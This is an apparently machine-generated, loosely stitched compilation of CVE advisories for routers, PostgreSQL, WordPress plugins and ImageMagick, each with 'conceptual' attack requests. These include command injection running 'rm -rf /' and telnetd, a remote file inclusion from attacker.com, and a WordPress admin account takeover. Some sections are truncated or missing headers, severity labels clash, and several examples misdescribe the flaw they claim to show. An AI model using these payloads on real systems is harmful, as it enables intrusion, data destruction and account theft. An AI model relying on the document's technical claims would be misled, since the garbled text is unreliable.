One such vulnerability, identified as CVE-2024-53945, poses a significant risk to users of the KuWFi 4G AC900 LTE router version 1.0.13. This vulnerability allows an authenticated attacker to execute arbitrary OS commands with root privileges, potentially leading to full system compromise and data leakage.
This high-risk vulnerability is particularly critical due to its potential to enable remote access, such as enabling telnet. It is crucial that users, system administrators, and security professionals understand the implications of this vulnerability and take appropriate measures to mitigate its potential impact.

Vulnerability Summary

CVE ID: CVE-2024-53945
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Authenticated access)
User Interaction: None
Impact: Full system compromise, potential data leakage, remote access

Affected Products

Product | Affected Versions

KuWFi 4G AC900 LTE router | 1.0.13

How the Exploit Works

The exploit takes advantage of command injection vulnerability on the HTTP API endpoints /goform/formMultiApnSetting and /goform/atCmd. An attacker with authenticated access to the router’s API can inject shell metacharacters into parameters such as ‘pincode’ and ‘cmds. This allows the attacker to execute arbitrary OS commands with root privileges, leading to full system compromise, enabling remote access, and potentially leaking sensitive data.

Conceptual Example Code

This is a conceptual representation of how the vulnerability might be exploited. In this example, the attacker sends a malicious HTTP POST request to the /goform/atCmd endpoint:

POST /goform/atCmd HTTP/1.1
Host: router-ip
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=authenticated-session-id
pincode=1234; rm -rf /&
cmds=;telnetd&

In this hypothetical example, the attacker injects OS commands (`rm -rf /&` and `telnetd&`) into the ‘pincode’ and ‘cmds’ parameters. The former command can lead to deletion of all files in the system, while the latter command starts a telnet daemon, enabling remote access.

Mitigation

Users of the affected KuWFi 4G AC900 LTE router version are advised to immediately apply the vendor’s patch to fix this vulnerability. In situations where the patch cannot be immediately applied, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. However, these are not long-term solutions and the patch should be applied as soon as possible to fully secure the system.

Overview

The cybersecurity ecosystem recently identified a significant vulnerability in PostgreSQL, a popular open-source database management system. The vulnerability, designated as CVE-2025-8715, allows an attacker to inject arbitrary code and execute SQL injections on target servers. This flaw is particularly concerning because it impacts several versions of PostgreSQL and can lead to serious consequences, such as potential system compromise or data leakage. Given the widespread use of PostgreSQL in diverse sectors, this vulnerability poses a high-risk threat to numerous systems globally.

Vulnerability Summary

CVE ID: CVE-2025-8715
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Arbitrary code execution, SQL injection leading to system compromise or data leakage

Affected Products

Product | Affected Versions

PostgreSQL | 17.6 and below
PostgreSQL | 16.10 and below
PostgreSQL | 15.14 and below
PostgreSQL | 14.19 and below
PostgreSQL | 13.22 and below

How the Exploit Works

The vulnerability CVE-2025-8715 arises due to improper neutralization of newlines in the ‘pg_dump’ function of PostgreSQL. This flaw allows an attacker to inject arbitrary code into a specially crafted object name, which gets executed during the restore process. The attack can also be performed to achieve SQL injection as a superuser on the target server, leading to a potential system compromise or data leakage.

Conceptual Example Code

Here is a
conceptual
example of how this vulnerability might be exploited using a malicious SQL command:

DROP TABLE IF EXISTS "malicious\command\g
CREATE OR REPLACE FUNCTION malicious() RETURNS TRIGGER AS $$
BEGIN
PERFORM pg_notify('malicious_activity', 'Data breach detected.');
RETURN NEW;
END;
$$ LANGUAGE plpgsql;
CREATE TRIGGER malicious_trigger
AFTER INSERT ON public.sensitive_table
FOR EACH ROW EXECUTE FUNCTION malicious();
\"

In this conceptual example, an attacker creates a trigger that sends a notification to a pre-defined channel every time a new row is inserted into a sensitive table, thereby potentially leaking data.
To guard against this vulnerability, it is strongly recommended to apply the vendor patch immediately. In situations where immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. However, these should not be considered long-term solutions, as they do not address the root cause of the vulnerability.

Overview

A serious vulnerability, designated as CVE-2025-8714, has been identified in PostgreSQL, a popular open-source object-relational database system. This vulnerability could allow a malicious superuser on the original server to inject arbitrary code that could run during restore time in the operating system of the client running psql to restore the dump. This vulnerability impacts multiple versions of PostgreSQL and is similar to the MySQL vulnerability CVE-2024-21096. It’s an issue of concern due to its potential to compromise entire systems and leak sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-8714
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: High (Superuser of the origin server)
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

PostgreSQL | Versions before PostgreSQL 17.6, 16.10, 15.14, 14.19, and 13.22

How the Exploit Works

The exploit takes advantage of the untrusted data inclusion in ‘pg_dump’ in PostgreSQL. A malicious superuser of the origin server can inject arbitrary code that is executed at restore time. This happens when the client operating system account runs ‘psql’ to restore the dump. It affects ‘pg_dumpall’ and ‘pg_restore’ when used to generate a plain-format dump.

Conceptual Example Code

Below is a conceptual example of a malicious payload that might be delivered to exploit this vulnerability:

-- Assuming a vulnerable version of PostgreSQL
\connect target_database
CREATE OR REPLACE FUNCTION malicious_func() RETURNS VOID AS $$
BEGIN
-- Arbitrary malicious SQL commands here
-- Code here will be executed with the permissions of the superuser
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT malicious_func();

Above, the malicious superuser creates a function that contains arbitrary SQL commands. The function is marked as `SECURITY DEFINER`, which makes it run with the permissions of the user who created it, in this case, the superuser. When this function is restored through ‘pg_dump’, ‘pg_dumpall’, or ‘pg_restore’, the malicious code is executed.

Overview

The CVE-2025-52732 is a high-risk vulnerability in the Google Map Targeting plugin, developed by RealMag777, that affects versions up to 1.1.6.

Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Google Map Targeting | n/a through 1.1.6

How the Exploit Works

The PHP Remote File Inclusion (RFI) vulnerability occurs due to improper control of a filename for an include/require statement in the PHP program of the Google Map Targeting plugin. This flaw allows an attacker to include a file from a remote server, which could contain harmful PHP code. When this code is executed, it can result in unauthorized actions, such as data manipulation, data theft or even complete system takeover.

Conceptual Example Code

The conceptual example below illustrates how an attacker might exploit this vulnerability. They would send a malicious HTTP GET request, including a URL of a remote file containing the malicious code in the request parameter.

GET /index.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: vulnerablewebsite.com

This request would force the server to include and execute the ‘malicious.php’ file from the attacker’s server, leading to the potential compromise of the system.

Mitigation and Prevention

The best way to mitigate this vulnerability is by applying the patch provided by the vendor as soon as it becomes available. However, as a temporary measure, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used to block or alert on such malicious requests. It is also recommended to disable allow_url_include and allow_url_fopen in the PHP configuration, as this would prevent the inclusion of files from remote servers.

Affected Products

Product | Affected Versions

Arraytics Eventin | n/a through 4.0.31

How the Exploit Works

The CVE-2025-49869 vulnerability is based on the deserialization of untrusted data. Deserialization is a process that involves converting data from a flat format into an object that a program can use. If an attacker can control the data that is being deserialized, they can manipulate the process to create objects with malicious functionality. This is known as an Object Injection attack.
In the case of the CVE-2025-49869 vulnerability, an attacker could potentially send serialized data to Arraytics Eventin that, when deserialized, results in an injected object that can compromise the system or lead to data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability could be exploited. The attacker crafts a serialized object containing malicious code and sends it to the vulnerable endpoint.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
{ "serialized_object": "<malicious serialized object>" }

In this scenario, the malicious serialized object could contain code that, when deserialized by Arraytics Eventin, results in a system compromise or data leakage.

Overview

CVE-2025-8940 is a critical vulnerability that has been identified in Tenda AC20 routers, specifically in versions up to 16.03.08.12.

Vulnerability Summary

CVE ID: CVE-2025-8940
Severity: Critical, CVSS score of 8.8
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Tenda AC20 | Up to 16.03.08.12

How the Exploit Works

The vulnerability comes into play when the strcpy function is used in the process of saving parental control information. The Time argument, which is used in this function, is not properly checked for its length. This lack of length validation allows an attacker to send a larger than expected input, causing the buffer to overflow. This overflow can be manipulated by a skilled attacker to execute arbitrary code or disrupt the normal functioning of the application.

Conceptual Example Code

The following conceptual code snippet demonstrates how an attacker might exploit this vulnerability. Please note that this is a hypothetical example and should not be used for malicious purposes.

POST /goform/saveParentControlInfo HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"Time": "A really long string that causes buffer overflow"
}

In the above example, the attacker sends a specially crafted POST request where the Time argument contains an excessively long string, causing a buffer overflow in the strcpy function.
To mitigate this vulnerability, it is advised to apply patches provided by the vendor as soon as possible. In the interim, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can provide a temporary solution. Regularly updating and patching systems is an effective way to stay protected against such vulnerabilities.

Overview

Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Taxi Booking Manager for Woocommerce | Up to and including 1.3.0

How the Exploit Works

The exploit takes advantage of the plugin’s failure to validate a user’s capabilities before updating a plugin setting or validating their identity before updating user details. This allows unauthenticated attackers to change arbitrary user’s email addresses, including those of administrators. Once an attacker has changed the email address, they can then use the password reset feature to gain access to the account, effectively taking over the account and all its associated privileges.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This example assumes the attacker knows the target user’s username:

POST /wp-json/tbm/v1/updateuserdetails HTTP/1.1
Host: victimwebsite.com
Content-Type: application/json
{
"username": "admin",
"email": "attacker@email.com"
}

After successfully changing the email, the attacker can then initiate a password reset:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: victimwebsite.com
Content-Type: application/x-www-form-urlencoded
user_login=admin&redirect_to=&wp-submit=Get+New+Password

These requests would allow an attacker to take over the administrator’s account, leading to a potentially severe system compromise.

Overview

The CVE-2025-8939 is a cybersecurity vulnerability recently discovered in the Tenda AC20 up to 16.03.08.12. This flaw, found in an unidentified function of the file /goform/WifiGuestSet, can potentially enable remote attackers to compromise the system or leak data by exploiting a buffer overflow.

Vulnerability Summary

CVE ID: CVE-2025-8939
Severity: High (8.8 CVSS Severity Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Tenda AC20 | Versions up to 16.03.08.12

How the Exploit Works

The vulnerability exists due to improper handling of the ‘shareSpeed’ parameter in the /goform/WifiGuestSet file. Attackers can manipulate this parameter to cause a buffer overflow condition. This overflow can then be leveraged to execute arbitrary code on the system or access sensitive information. The attack can be launched remotely and does not require any form of user interaction, making it a dangerous and highly exploitable vulnerability.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited. This example represents a malicious HTTP POST request to the vulnerable endpoint with a manipulated ‘shareSpeed’ parameter:

POST /goform/WifiGuestSet HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
shareSpeed=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

In the example above, the ‘shareSpeed’ parameter is overloaded with an excessively long string of ‘A’ characters, triggering a buffer overflow condition. This conceptual example is for illustrative purposes only and does not represent an actual exploit.

Mitigation Guidance

Users of the affected Tenda AC20 routers are advised to apply the vendor-released patch immediately to remedy this vulnerability. In cases where immediate patching is not feasible, implementing Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) can serve as temporary mitigation against potential exploits. However, these measures should not replace the need for patching as soon as possible.

Overview

The digital landscape is constantly evolving, and unfortunately, so are the threats that lurk within it. One such threat has been identified in the popular StoryChief plugin for WordPress. All versions up to and including 1.0.42 are susceptible to a vulnerability that allows for arbitrary file uploads. This vulnerability poses a significant risk for the millions of websites globally powered by WordPress, especially those using this specific plugin. A successful exploit could lead to severe consequences such as system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-7441
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

StoryChief WordPress Plugin | Up to and including 1.0.42

How the Exploit Works

The vulnerability stems from an issue with the /wp-json/StoryChief/webhook REST-API endpoint of the StoryChief plugin. This endpoint, which is responsible for processing file uploads, does not have sufficient filetype validation. As such, it opens the door for unauthenticated attackers to upload arbitrary files onto the server hosting the affected site.
These files could contain malicious code, which, when executed, could lead to a full system compromise. The lack of proper authentication and file type validation essentially makes it possible for attackers to execute remote code, gaining access to the system and potentially exposing sensitive data.

Conceptual Example Code

Below is a conceptual example of a malicious HTTP request exploiting this vulnerability:

POST /wp-json/storychief/webhook HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
{ "malicious_payload": "base64_encoded_malicious_file" }

In this example, the malicious payload in the form of a Base64 encoded file is sent to the vulnerable REST-API endpoint. If the server processes this request, the encoded file could be decoded and saved on the server, leading to potential remote code execution.

Mitigation

The most effective way of mitigating this vulnerability is by applying the patch provided by the vendor. Site administrators should ensure their StoryChief plugin is updated to the latest version, which contains the necessary fixes.
In cases where immediate patching is not possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These systems can help detect and block malicious file upload attempts to the vulnerable endpoint. However, these are merely stopgap solutions and do not address the underlying vulnerability, making patching a necessity.

Overview

In the ever-evolving field of cybersecurity, vulnerabilities in widely used software packages pose significant risks. A clear example of this is CVE-2025-55154, a critical vulnerability that affects the popular image processing software, ImageMagick. This software is extensively used in web services to create, modify, and manage digital images. The vulnerability lies in the software’s magnified size calculations, which can overflow and lead to memory corruption, potentially causing system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-55154
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Memory corruption, potential system compromise and data leakage

Affected Products

Product | Affected Versions

ImageMagick | Prior to 6.9.13-27
ImageMagick | Prior to 7.1.2-1

How the Exploit Works

The vulnerability is located in the ReadOneMNGImage function of the png.c file in ImageMagick. The function performs incorrect calculations for the magnified size of images, which can result in an overflow. This overflow can lead to memory corruption, which in turn can lead to undefined behavior, including system crashes or potentially, arbitrary code execution. An attacker can exploit this vulnerability by sending a specially crafted image file to a victim using ImageMagick, which when processed, can trigger the overflow and subsequent memory corruption.

Conceptual Example Code

A malicious actor might exploit this vulnerability by uploading a carefully crafted .mng image file to a web server that uses ImageMagick to process images. The pseudocode below, while not actual exploit code, gives a conceptual idea of how this might occur:

# Pseudocode for crafting a malicious .mng file
def create_malicious_mng():
# Create an image with size values designed to overflow
# when magnified by ImageMagick
image = Image(width=0xFFFFFFF, height=0xFFFFFFF)
# Save the image to a .mng file
image.save("malicious.mng")
create_malicious_mng()

An attacker could then upload this malicious .mng file to a web server that uses ImageMagick for image processing, potentially leading to memory corruption and other adverse effects.
